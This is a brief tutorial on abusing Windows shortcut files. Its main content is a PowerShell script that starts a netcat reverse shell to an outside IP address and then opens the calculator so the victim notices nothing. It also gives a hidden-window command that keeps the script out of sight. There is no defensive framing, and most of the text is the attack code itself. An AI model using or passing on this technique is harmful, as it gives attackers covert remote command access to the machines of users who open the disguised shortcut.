How to exploit Windows shortcut files

Shortcuts can be modified to run a script instead. A simple PowerShell script that fires off one executable and then another might look like:

# Create a reverse shell (note that netcat is something that
# the attacker need to provide themselves!)
#
Start-Process -NoNewWindow "C:\Windows\System32\nc.exe" `
	"-e cmd.exe 1.2.3.4 1337"
 
# Fire off the application the user is expecting
#
C:\Windows\System32\calc.exe

To ensure that the script itself doesn’t generate a PowerShell window, it will need to be called like so:

powershell.exe -WindowStyle hidden C:\Windows\System32\calc.ps1